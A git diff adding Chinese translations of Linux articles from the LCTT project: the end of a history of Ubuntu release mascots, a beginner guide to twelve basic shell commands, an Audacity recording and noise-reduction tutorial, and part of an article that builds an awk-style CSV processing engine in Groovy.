8.10 mascot][29] + +于 2008 年 10 月 30 日发布。 + +Intrepid 意味着**无所畏惧**、冒险的。 + +野山羊 Ibex ,以雄性的大弯角为特征,在前面形成像横向的脊那样。它主要分布于欧亚大陆、北非和东非。 + +### Ubuntu 8.04 LTS Hardy Heron(坚韧苍鹭) + +![Ubuntu 8.04 mascot][30] + +于 2008 年 4 月 24 日发布。 + +这个版本是第一个吉祥物出现在其默认壁纸上的 Ubuntu 版本。 + +Hardy 意味着能够**忍受**困难条件的、强大的。 + +苍鹭 Heron ,是一种长腿、长颈、生活在淡水和沿海的鸟类。 + +### Ubuntu 7.10 Gutsy Gibbon(阵风长臂猿) + +![Ubuntu 7.10 mascot][31] + +于 2007 年 10 月 18 日发布。 + +Gusty 表示以**阵风**的方式吹动。 + +长臂猿 Gibbon ,是一种猿类,它们生活在孟加拉国东部、印度东北部、中国南部和印度尼西亚的亚热带和热带雨林地区。 + +### Ubuntu 7.04 Feisty Fawn(活泼小鹿) + +![Ubuntu 7.04 mascot][32] + +于 2007 年 4 月 19 日发布。 + +Feisty 意味着**小而坚定**的。 + +小鹿 Fawn ,指的是第一年刚出生的小鹿。 + +### Ubuntu 6.10 Edgy Eft(紧张水蜥) + +![Ubuntu 6.10 mascot][33] + +于 2006 年 10 月 26 日发布。 + +Edgy 的意思是**紧张的**。 + +水蜥 Eft ,是蝾螈的陆生幼年期。蝾螈是一种蜥蜴,它具有三个不同的发育生命阶段:水生幼虫、陆生幼体和成体。 + +所以水蜥指的是一个青年的蝾螈。 + +### Ubuntu 6.06 Dapper Drake(整洁公鸭) + +![Ubuntu 6.06 mascot][34] + +于 2006 年 6 月 1 日发布。 + +Dapper 的意思是衣着整洁,**外表整洁的**。 + +公鸭 Drake ,是完全性成熟的成年雄性鸭子。 + +### Ubuntu 5.10 Breezy Badger(微风之獾) + +![Ubuntu 5.10 mascot][35] + +于 2005 年 10 月 12 日发布。 + +Breezy 的意思是有**微风**的。 + + Badger ,一种是短腿的杂食动物,经常蹲下身挤在一起。 + +### Ubuntu 5.04 Hoary Hedgehog(灰白刺猬) + +![Ubuntu 5.04 mascot][36] + +于 2005 年 4 月 8 日发布。 + +Hoary 是**灰白色的**意思。 + +刺猬 Hedgehogis ,是一种多刺的哺乳动物,遍布于欧洲、亚洲和非洲的部分地区,并引入到了新西兰。 + +### Ubuntu 4.10 : Warty Warthog(有疣疣猪) + +![Ubuntu 4.10 mascot][37] + +于 2004 年 10 月 20 日发布。 + +Ubuntu 就是从这个版本开始的。 + +Wart 是由病毒引起的一种小的、坚硬的、良性的皮肤生长物。Warty 的意思是**长满疣的**。 + +疣猪 Warthog ,是猪科的一种野生动物,它是在撒哈拉以南非洲的草原、稀树草原和林地中被发现的。 + +### 总结 + +本文有没有让 Ubuntu 用户了解了更多知识呢?从技术上讲,并没有,但回顾历史是件好事。如果你多年来一直是 Ubuntu 用户,那么这篇文章可能会引发你的怀旧之情。 + +Ubuntu 9.04 是我第一次尝试 Linux 桌面。如果我没记错的话,那是在 2009 年 9 月下旬。仅仅几周后,我的系统就升级到了 Ubuntu 9.10。那些天我经常在 Ubuntu 论坛上浏览,探索这个新的操作系统,并学习新的东西。 + +那么,这篇文章有没有勾起你的一些美好的回忆呢?你的第一个 Ubuntu 版本又是哪个呢?在评论区中分享你的 Ubuntu 使用经历吧。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/all-Ubuntu-mascots/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/Ubuntu-default-wallpapers-download/ +[2]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-22-04-mascot.jpg +[3]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-21-10-mascot.jpg +[4]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-21-04-mascot.jpg +[5]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-20-10-mascot.jpg +[6]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-20-04-mascot-1.jpg +[7]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-19-10-mascot.jpg +[8]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-19-04-mascot.jpg +[9]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-18-10-mascot.jpg +[10]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-18-04-mascot.jpg +[11]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-17-10-mascot.jpg +[12]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-17-04-mascot.jpg +[13]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-16-10-mascot.jpg +[14]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-16-04-mascot.jpg +[15]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-15-10-mascot.jpg +[16]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-15-04-mascot.jpg +[17]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-14-10-mascot.jpg +[18]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-14-04-mascot.jpg +[19]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-13-10-mascot.jpg +[20]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-13-04-mascot.jpg +[21]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-12-10-mascot.jpg +[22]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-12-04-mascot.jpg +[23]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-11-10-mascot.jpg +[24]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-11-04-mascot.jpg +[25]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-10-10-mascot.jpg +[26]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-10-04-mascot.jpg +[27]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-9-10-mascot.jpg +[28]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-9-04-mascot.jpg +[29]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-8-10-mascot.jpg +[30]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-8-04-mascot.jpg +[31]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-7-10-mascot.jpg +[32]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-7-04-mascot.jpg +[33]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-6-10-mascot.jpg +[34]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-6-06-mascot.jpg +[35]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-5-10-mascot.jpg +[36]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-5-04-mascot.jpg +[37]: https://itsfoss.com/wp-content/uploads/2022/05/Ubuntu-4-10-mascot.jpg diff --git a/published/202211/20220524 12 essential Linux commands for beginners.md b/published/202211/20220524 12 essential Linux commands for beginners.md new file mode 100644 index 0000000000..ee5b742c0f --- /dev/null +++ b/published/202211/20220524 12 essential Linux commands for beginners.md @@ -0,0 +1,188 @@ +[#]: subject: "12 essential Linux commands for beginners" +[#]: via: "https://opensource.com/article/22/5/essential-linux-commands" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15215-1.html" + +12 个对新手最重要的 Linux 命令 +====== + +> 我向所有的 Linux 初学者推荐以下这些命令。 + +![](https://img.linux.net.cn/data/attachment/album/202211/05/092308plqfl6a6z0g7afx7.jpg) + +在使用 Linux 命令行时,很容易就会迷失方向,这可能会导致灾难性的后果:我有一次使用删除命令 `rm` 删除文件,然而删除之后我才意识到我刚刚是删除了计算机的引导目录。后来,我学会了使用 `pwd` 命令,来知道当前在文件系统的哪个目录下;并且我使用了 [trashy 和 trash-cli][2] 这一命令行回收站工具(LCTT 译注:在删除文件时 `trash-cli` 会充当中间人,将文件先“删除”到桌面上的垃圾箱中,能够通过垃圾箱或通过终端的 `trash` 命令,来恢复垃圾箱中已删除的文件。) + +当我刚开始使用 Linux 时,我有一个放在桌子上的“速查表”,它就是《101 条你应该知道的 Linux 命令》,我在管理 Linux 服务器时能参考速查表上面的这些命令。随着我越来越熟悉这些命令,我越来越精通服务器管理了。 + +以下是我认为最有用的 12 个 Linux 命令。 + +### 1、打印工作目录(pwd) + +`pwd` 命令会打印出你的工作目录。换句话来说,它输出你当前所在目录的路径。`pwd` 命令有两种选项:`-L` 或 `--logical`(即逻辑路径)用来打印当前的目录路径(不解析符号链接),`-P` 或 `--physial`(即物理路径)会打印出解析符号链接后的物理目录。(LCTT 译注:你可以进一步阅读我们翻译的 [另一篇文章](https://linux.cn/article-4356-1.html)。) + +### 2、创建目录(mkdir) + +使用 `mkdir` 命令来创建一个新目录,是非常容易的。以下命令,创建了一个名为 `example` 目录(若 `example` 已存在,则无法创建): + +``` +$ mkdir example +``` + +你也可以在嵌套地创建目录及其子目录: + +``` +$ mkdir -p example/one/two +``` + +如果目录 `example` 和目录 `one` 都已存在,则仅会创建目录 `two`。如果上述目录都不存在,则会创建这三个嵌套的目录。 + +### 3、列出文件(ls) + +我最早使用的是 MS-DOS(微软磁盘操作系统),因此我习惯于使用 `dir` 命令,来列出文件。我不记得当时是否能在 Linux 上使用 `dir` 命令,但是如今 `dir` 命令已经包含在 GNU 核心实用程序包GNU Core Utilities package 中了。大多数人会使用 `ls` 命令,来显示目录中的文件及其所有的属性。`ls` 命令有许多选项,包括 `-l` 查看文件的长列表,显示文件所有者和权限等信息。 + +### 4、更改当前工作目录(cd) + +在 Linux 中经常要更改当前工作目录,这就是 `cd` 命令的功能。例如,以下的示例将让你从 主目录home 进入 `Documents` 目录: + +``` +$ cd Documents +``` + +你可以使用 `cd ~` 或者 `cd`,来快速转换到你的主目录。你可以使用 `cd ..` 来返回到上一级目录。 + +### 5、删除文件(rm) + +删除文件是很危险的,因为在 Linux 终端上用 `rm` 命令会**彻底地**删除文件,并没有像桌面的垃圾桶那样依旧保存着删除的文件。许多终端用户有一个坏习惯,他们会永久地删除他们认为不再需要的文件。然而,因为没有“取消删除”命令,这个坏习惯可能会导致严重的问题:你会不小心删除了包含重要数据的目录。 + +Linux 系统为文件删除提供了 `rm` 和 `shred` 命令。要删除文件 `example.txt`,请输入以下内容: + +``` +$ rm example.txt +``` + +然而,使用 `trash` 命令要安全得多,例如 [trashy][3] 或者 [trash-cli][4],它会将文件先“删除”到桌面上的垃圾箱中: + +``` +$ trash example.txt +``` + +(LCTT 译注:关于 Trash-Cli 的更多信息可以参考我们翻译的 [另一篇文章](https://linux.cn/article-10029-1.html)。) + +### 6、复制文件(cp) + +使用 `cp` 命令,来复制文件。`cp` 的语法是从*旧文件*复制到*新文件*。这里有一个例子: + +``` +$ cp file1.txt newfile1.txt +``` + +你也可以复制整个目录: + +``` +$ cp -r dir1 newdirectory +``` + +### 7、移动并重命名文件(mv) + +重命名和移动文件在功能上是相同的过程。当你移动文件时,从一个目录中取出一个文件,并将其放入一个新目录中;当你重命名文件时,将一个目录中的文件更改为新名称,并放回到同一目录或另一个目录下。无论是重命名还是移动文件,你都可以使用 `mv` 命令: + +``` +$ mv file1.txt file_001.txt +``` + +### 8、创建一个空文件(touch) + +使用 `touch` 命令可以简单地创建一个空文件: + +``` +$ touch one.txt + +$ touch two.txt + +$ touch three.md +``` + +### 9、更改权限(chmod) + +使用 `chmod` 命令,来更改文件的权限。`chmod` 最常见的用途是让文件能够执行: + +``` +$ chmod +x myfile +``` + +以下的示例展示了如何用 `chmod` 命令给文件赋予权限,这对于脚本来说特别方便。尝试一下这个简单的练习吧: + +``` +$ echo 'echo Hello $USER' > hello.sh + +$ chmod +x hello.sh + +$ ./hello.sh +Hello, Don +``` + +### 10、提升为 root 权限(sudo) + +在管理自己的 Linux 系统时,可能需要提升为超级用户(也称为 root),这就是 `sudo`(即 以超级用户做super user do)命令的来源。假设你想要做一些只有管理员(或 root 用户)才能做的事情,只需在命令前加一个 `sudo` 即可: + +``` +$ touch /etc/os-release && echo "Success" +touch: cannot touch '/etc/os-release': Permission denied + +$ sudo touch /etc/os-release && echo "Success" +Success +``` + +### 11、关机(poweroff) + +`poweroff` 命令的功能和它的字面意思一样:把你的计算机关机。需要在 `poweroff` 前面加一个 `sudo` 才能成功关机。 + +实际上,还有很多方法可以关闭你的计算机,这些方法有略微的不同。例如,`shutdown` 命令会在指定的时间(例如 60 秒)后关闭计算机: + +``` +$ sudo shutdown -h 60 +``` + +或者立即关闭计算机: + +``` +$ sudo shutdown -h now +``` + +你也可以用 `sudo shutdown -r now` 或者 `reboot` 来重启计算机。 + +### 12、阅读手册(man) + +`man` 命令可能是 Linux 中最重要的命令了,你可以通过 `man` 命令查看 Linux 系统上每个命令的官方文档。例如,要阅读更多有关 `mkdir` 的信息,可以输入: + +``` +$ man mkdir +``` + +一个与 `man` 相关的命令是 `info` 命令,它提供了一组不同的手册,它通常会提供比简洁的 `man` 页面更详细一点的内容。 + +### 你最喜欢的 Linux 命令是什么? + +Linux 系统上还有数百个其他命令!你最喜欢使用的 Linux 命令是什么呢?什么命令是你一直反复使用的呢? + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/essential-linux-commands + +作者:[Don Watkins][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/don-watkins +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/command_line_prompt.png +[2]: https://www.redhat.com/sysadmin/recover-file-deletion-linux +[3]: https://gitlab.com/trashy/trashy +[4]: https://github.com/andreafrancia/trash-cli diff --git a/published/202211/20220814 How to Record Audio in Linux With Audacity -and Reduce Noise-.md b/published/202211/20220814 How to Record Audio in Linux With Audacity -and Reduce Noise-.md new file mode 100644 index 0000000000..2f52b58b26 --- /dev/null +++ b/published/202211/20220814 How to Record Audio in Linux With Audacity -and Reduce Noise-.md @@ -0,0 +1,135 @@ +[#]: subject: "How to Record Audio in Linux With Audacity (and Reduce Noise)" +[#]: via: "https://itsfoss.com/audacity-recording/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15284-1.html" + +如何在 Linux 中使用 Audacity 录制音频(并降噪) +====== + +![][0] + +[Audacity][1] 是一个自由开源的跨平台 [音频编辑器][2]。专业人士使用它是因为它提供的功能仅需安装很小的软件包。 + +你不必成为一名专业人士并使用它的所有功能。你可以使用它从麦克风录制音频,并执行一些基本操作,如背景噪声消除。 + +我将在本教程中向你展示如何做到这一点。 + +### 在 Linux 上安装 Audacity + +在 Linux 上安装 Audacity 是一个非常简单的过程。由于其受欢迎,可以在大多数 Linux 发行版的官方存储库中找到它。 + +你可以在发行版的软件中心或软件包管理器中搜索它。 + +作为一个终端爱好者,让我分享一下常见发行版的命令。 + +对于基于 Debian 或 Ubuntu 的发行版: + +``` +sudo apt install audacity +``` + +对于基于 RHEL 或 Fedora 的发行版: + +``` +sudo dnf install audacity +``` + +如果你在用基于 Arch 的发行版: + +``` +sudo pacman -Syu audacity +``` + +**注意**,通过官方存储库安装可能无法获得 [最新版本][3]。要获得最新版本,你可以使用 AppImage 或 Flatpak/Snap 软件包。 + +### 使用 Audacity 录制音频 + +安装 Audacity 后,从应用程序菜单打开它或从终端启动它。你会看到这样的界面: + +![Audacity Interface][4] + +单击“录制”按钮(红点)即可轻松开始录制。完成后,单击“ +停止”按钮(方形图标)来结束录制。你还可以预览录制的波形,如下所示: + +![record audio with audacity][5] + +然后,你可以通过单击“播放”按钮(绿色图标)检查录制的内容。 + +如果你没有看到任何波形,则表示未录制到任何内容。很可能,你没有正确设置音频输入。确保你选择了正确的麦克风,并确保在“系统设置system settings”中其未被静音。你也可以通过 Audacity 接口设置。 + +录音不会自动保存为 MP3 或其他格式。**要保存录音**,你可以转到 “文件File导出Export” 并选择 “导出为 MP3Export as MP3”(或任何其他想要的格式)。 + +### 使用 Audacity 降低背景噪声 + +Audacity 还有另一个很棒的功能,你可以使用它来减少录制音频中的白噪声。 + +最好的做法是在开始使用 Audacity 录制时的前五秒不要说任何话。这将为你提供所需的背景噪声。 + +在录制音频的波形上,选择你认为是背景噪声的部分。 + +![Background noise][6] + +选择噪声部分后,从顶部文件菜单中转到 “效果Effects降低噪音Noise Reduction”。 + +它会像这样打开一个弹出窗口。单击此处的 “获取噪音配置文件Get Noise Profile”。 + +![Noise Reduction Effect Popup Window][7] + +现在,你已经设置了噪声配置文件。现在,你必须使用它来减少录音中的噪声。 + +按 `Ctrl + A` 快捷键选择整段录音。你也可以选择其中的一部分,仅对所选部分减少噪声。 + +选择音轨后,再次转到 “效果Effects降低噪音Noise Reduction”。 + +**这次不要单击** “获取噪音配置文件Get Noise Profile”。这一次,你应该能够按下 “OK” 按钮。 + +只需按下 “OK” 按钮,即可将降噪效果应用到录音中,并反映在波形上,如下所示: + +![Audio Waveform after Noise Reduction][8] + +现在,相较而言,录制的音频将具有更少的噪声。你可以在选择 “降低噪音Noise Reduction” 效果时微调噪声过滤。 + +总结如下: + +* 选择噪声部分,转到 “效果Effects降低噪音Noise Reduction”,然后单击 “获取噪音配置文件Get Noise Profile” +* 按 `Ctrl + A` 选择整段音频录制,转到 “效果Effects降低噪音Noise Reduction”,这次按 `OK` 按钮 + +请注意,你无法移除所有类型的噪声,但这应该会有所帮助。 + +### Audacity 能做更多事情 + +使用 Audacity 录制音频可能不像使用 GNOME 录音机那样简单,但它并不太复杂。如果你正在录制画外音,降噪功能将非常有用。 + +Audacity 有更多其他功能,不可能在一个教程中涵盖所有这些功能。这就是为什么我会保持简短的原因。 + +如果你不能接受 2021 年的 [Audacity 的隐私政策调整][9],试试其他可用的工具。 + +我希望这个小教程能帮助你使用 Audacity 进行音频录制。如果你有问题或建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/audacity-recording/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://github.com/audacity/audacity +[2]: https://itsfoss.com/best-audio-editors-linux/ +[3]: https://github.com/audacity/audacity/releases +[4]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-interface.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/record-audio-with-audacity.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-noise-reduction.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-noise-steps.png +[8]: https://itsfoss.com/wp-content/uploads/2022/08/audacity-noise-reduced.png +[9]: https://news.itsfoss.com/audacity-fiasco-fork/ +[0]: https://img.linux.net.cn/data/attachment/album/202211/24/114858g6vpfg3gfglvxnp4.jpg \ No newline at end of file diff --git a/published/202211/20220903 Infuse your awk scripts with Groovy.md b/published/202211/20220903 Infuse your awk scripts with Groovy.md new file mode 100644 index 0000000000..b171a49201 --- /dev/null +++ b/published/202211/20220903 Infuse your awk scripts with Groovy.md @@ -0,0 +1,343 @@ +[#]: subject: "Infuse your awk scripts with Groovy" +[#]: via: "https://opensource.com/article/22/9/awk-groovy" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15231-1.html" + +为你的 awk 脚本注入 Groovy +====== + +![](https://img.linux.net.cn/data/attachment/album/202211/09/100129hp5bze5bbbbmddw6.jpg) + +> awk 和 Groovy 相辅相成,可以创建强大、有用的脚本。 + +最近我写了一个使用 Groovy 脚本来清理我的音乐文件中的标签的系列。我开发了一个 [框架][2],可以识别我的音乐目录的结构,并使用它来遍历音乐文件。在该系列的最后一篇文章中,我从框架中分离出一个实用类,我的脚本可以用它来处理文件。 + +这个独立的框架让我想起了很多 awk 的工作方式。对于那些不熟悉 awk 的人来说,你学习下这本电子书: + +> **[《awk 实用指南》][3]** + +我从 1984 年开始大量使用 awk,当时我们的小公司买了第一台“真正的”计算机,它运行的是 System V Unix。对我来说,awk 是非常完美的:它有关联内存associative memory——将数组视为由字符串而不是数字来索引的。它内置了正则表达式,似乎专为处理数据而生,尤其是在处理数据列时,而且结构紧凑,易于学习。最后,它非常适合在 Unix 工作流使用,从标准输入或文件中读取数据并写入到输出,数据不需要经过其他的转换就出现在了输入流中。 + +说 awk 是我日常计算工具箱中的一个重要部分一点也不为过。然而,在我使用 awk 的过程中,有几件事让我感到不满意。 + +可能主要的问题是 awk 善于处理以分隔字段呈现的数据,但很奇怪它不善于处理 CSV 文件,因为 CSV 文件的字段被引号包围时可以嵌入逗号分隔符。另外,自 awk 发明以来,正则表达式已经有了很大的发展,我们需要记住两套正则表达式的语法规则,而这并不利于编写无 bug 的代码。[一套这样的规则已经很糟糕了][4]。 + +由于 awk 是一门简洁的语言,因此它缺少很多我认为有用的东西,比如更丰富的基础类型、结构体、`switch` 语句等等。 + +相比之下,Groovy 拥有这些能力:可以使用 [OpenCSV 库][5],它很擅长处理 CSV 文件、Java 正则表达式和强大的匹配运算符、丰富的基础类型、类、`switch` 语句等等。 + +Groovy 所缺乏的是简单的面向管道的概念,即把要处理数据作为一个传入的流,以及把处理过的数据作为一个传出的流。 + +但我的音乐目录处理框架让我想到,也许我可以创建一个 Groovy 版本的 awk “引擎”。这就是我写这篇文章的目的。 + +### 安装 Java 和 Groovy + +Groovy 是基于 Java 的,需要先安装 Java。最新的、合适的 Java 和 Groovy 版本可能都在你的 Linux 发行版的软件库中。Groovy 也可以按照 [Groovy 主页][6] 上的说明进行安装。对于 Linux 用户来说,一个不错的选择是 [SDKMan][7],它可以用来获得多个版本的 Java、Groovy 和其他许多相关工具。在这篇文章中,我使用的是 SDK 的版本: + +* Java:OpenJDK 11 的 11.0.12 的开源版本 +* Groovy:3.0.8 + +### 使用 Groovy 创建 awk + +这里的基本想法是将打开一个或多个文件进行处理、将每行分割成字段、以及提供对数据流的访问等复杂情况封装在三个部分: + +* 在处理数据之前 +* 在处理每行数据时 +* 在处理完所有数据之后 + +我并不打算用 Groovy 来取代 awk。相反,我只是在努力实现我的典型用例,那就是: + +* 使用一个脚本文件而不是在命令行写代码 +* 处理一个或多个输入文件 +* 设置默认的分隔符为 `|`,并基于这个分隔符分割所有行 +* 使用 OpenCSV 完成分割工作(awk 做不到) + +### 框架类 + +下面是用 Groovy 类实现的 “awk 引擎”: + +``` +@Grab('com.opencsv:opencsv:5.6') +import com.opencsv.CSVReader +public class AwkEngine { + // With admiration and respect for + // Alfred Aho + // Peter Weinberger + // Brian Kernighan + // Thank you for the enormous value + // brought my job by the awk + // programming language + Closure onBegin + Closure onEachLine + Closure onEnd + private String fieldSeparator + private boolean isFirstLineHeader + private ArrayList fileNameList + public AwkEngine(args) { + this.fileNameList = args + this.fieldSeparator = "|" + this.isFirstLineHeader = false + } + public AwkEngine(args, fieldSeparator) { + this.fileNameList = args + this.fieldSeparator = fieldSeparator + this.isFirstLineHeader = false + } + public AwkEngine(args, fieldSeparator, isFirstLineHeader) { + this.fileNameList = args + this.fieldSeparator = fieldSeparator + this.isFirstLineHeader = isFirstLineHeader + } + public void go() { + this.onBegin() + int recordNumber = 0 + fileNameList.each { fileName -> + int fileRecordNumber = 0 + new File(fileName).withReader { reader -> + def csvReader = new CSVReader(reader, + this.fieldSeparator.charAt(0)) + if (isFirstLineHeader) { + def csvFieldNames = csvReader.readNext() as + ArrayList + csvReader.each { fieldsByNumber -> + def fieldsByName = csvFieldNames. + withIndex(). + collectEntries { name, index -> + [name, fieldsByNumber[index]] + } + this.onEachLine(fieldsByName, + recordNumber, fileName, + fileRecordNumber) + recordNumber++ + fileRecordNumber++ + } + } else { + csvReader.each { fieldsByNumber -> + this.onEachLine(fieldsByNumber, + recordNumber, fileName, + fileRecordNumber) + recordNumber++ + fileRecordNumber++ + } + } + } + } + this.onEnd() + } +} +``` + +虽然这看起来是相当多的代码,但许多行是因为太长换行了(例如,通常你会合并第 38 行和第 39 行,第 41 行和第 42 行,等等)。让我们逐行看一下。 + +第 1 行使用 `@Grab` 注解从 [Maven Central][8] 获取 OpenCSV 库的 5.6 本周。不需要 XML。 + +第 2 行我引入了 OpenCSV 的 `CSVReader` 类 + +第 3 行,像 Java 一样,我声明了一个 `public` 实用类 `AwkEngine`。 + +第 11-13 行定义了脚本所使用的 Groovy 闭包实例,作为该类的钩子。像任何 Groovy 类一样,它们“默认是 `public`”,但 Groovy 将这些字段创建为 `private`,并对其进行外部引用(使用 Groovy 提供的 getter 和 setter 方法)。我将在下面的示例脚本中进一步解释这个问题。 + +第 14-16 行声明了 `private` 字段 —— 字段分隔符,一个指示文件第一行是否为标题的标志,以及一个文件名的列表。 + +第 17-31 行定义了三个构造函数。第一个接收命令行参数。第二个接收字段的分隔符。第三个接收指示第一行是否为标题的标志。 + +第 31-67 行定义了引擎本身,即 `go()` 方法。 + +第 33 行调用了 `onBegin()` 闭包(等同于 awk 的 `BEGIN {}` 语句)。 + +第 34 行初始化流的 `recordNumber`(等同于 awk 的 `NR` 变量)为 0(注意我这里是从 00 而不是 1 开始的)。 + +第 35-65 行使用 `each` `{}` 来循环处理列表中的文件。 + +第 36 行初始化文件的 `fileRecordNumber`(等同于 awk 的 `FNR` 变量)为 0(从 0 而不是 1 开始)。 + +第 37-64 行获取一个文件对应的 `Reader` 实例并处理它。 + +第 38-39 行获取一个 `CSVReader` 实例。 + +第 40 行检测第一行是否为标题。 + +如果第一行是标题,那么在 41-42 行会从第一行获取字段的标题名字列表。 + +第 43-54 行处理其他的行。 + +第 44-48 行把字段的值复制到 `name:value` 的映射中。 + +第 49-51 行调用 `onEachLine()` 闭包(等同于 awk 程序 `BEGIN {}` 和 `END {}` 之间的部分,不同的是,这里不能输入执行条件),传入的参数是 `name:value` 映射、处理过的总行数、文件名和该文件处理过的行数。 + +第 52-53 行是处理过的总行数和该文件处理过的行数的自增。 + +如果第一行不是标题: + +第 56-62 行处理每一行。 + +第 57-59 调用 `onEachLine()` 闭包,传入的参数是字段值的数组、处理过的总行数、文件名和该文件处理过的行数。 + +第 60-61 行是处理过的总行数和该文件处理过的行数的自增。 + +第 66 行调用 `onEnd()` 闭包(等同于 awk 的 `END {}`)。 + +这就是该框架的内容。现在你可以编译它: + +``` +$ groovyc AwkEngine.groovy +``` + +一点注释: + +如果传入的参数不是一个文件,编译就会失败,并出现标准的 Groovy 堆栈跟踪,看起来像这样: + +``` +Caught: java.io.FileNotFoundException: not-a-file (No such file or directory) +java.io.FileNotFoundException: not-a-file (No such file or directory) +at AwkEngine$_go_closure1.doCall(AwkEngine.groovy:46) +``` + +OpenCSV 可能会返回 `String[]` 值,不像 Groovy 中的 `List` 值那样方便(例如,数组没有 `each {}`)。第 41-42 行将标题字段值数组转换为 list,因此第 57 行的 `fieldsByNumber` 可能也应该转换为 list。 + +### 在脚本中使用这个框架 + +下面是一个使用 `AwkEngine` 来处理 `/etc/group` 之类由冒号分隔并没有标题的文件的简单脚本: + +``` +def ae = new AwkEngine(args, ':') +int lineCount = 0 +ae.onBegin = { +  println “in begin” +} +ae.onEachLine = { fields, recordNumber, fileName, fileRecordNumber -> +  if (lineCount < 10) +    println “fileName $fileName fields $fields” +    lineCount++ +} +ae.onEnd = { +   println “in end” +   println “$lineCount line(s) read” +} + +ae.go() +``` + +第 1 行 调用的有两个参数的构造函数,传入了参数列表,并定义冒号为分隔符。 + +第 2 行定义一个脚本级的变量 `lineCount`,用来记录处理过的行数(注意,Groovy 闭包不要求定义在外部的变量为 `final`)。 + +第 3-5 行定义 `onBegin()` 闭包,在标准输出中打印出 “in begin” 字符串。 + +第 6-10 行定义 `onEachLine()` 闭包,打印文件名和前 10 行字段,无论是否为前 10 行,处理过的总行数 `lineCount` 都会自增。 + +第 11-14 行定义 `onEnd()` 闭包,打印 “in end” 字符串和处理过的总行数。 + +第 15 行运行脚本,使用 `AwkEngine`。 + +像下面一样运行一下脚本: + +``` +$ groovy Test1Awk.groovy /etc/group +in begin +fileName /etc/group fields [root, x, 0, ] +fileName /etc/group fields [daemon, x, 1, ] +fileName /etc/group fields [bin, x, 2, ] +fileName /etc/group fields [sys, x, 3, ] +fileName /etc/group fields [adm, x, 4, syslog,clh] +fileName /etc/group fields [tty, x, 5, ] +fileName /etc/group fields [disk, x, 6, ] +fileName /etc/group fields [lp, x, 7, ] +fileName /etc/group fields [mail, x, 8, ] +fileName /etc/group fields [news, x, 9, ] +in end +78 line(s) read +$ +``` + +当然,编译框架类生成的 `.class` 文件需要在 classpath 中,这样才能正常运行。通常你可以用 `jar` 把这些 class 文件打包起来。 + +我非常喜欢 Groovy 对行为委托的支持,这在其他语言中需要各种诡异的手段。许多年来,Java 需要匿名类和相当多的额外代码。Lambda 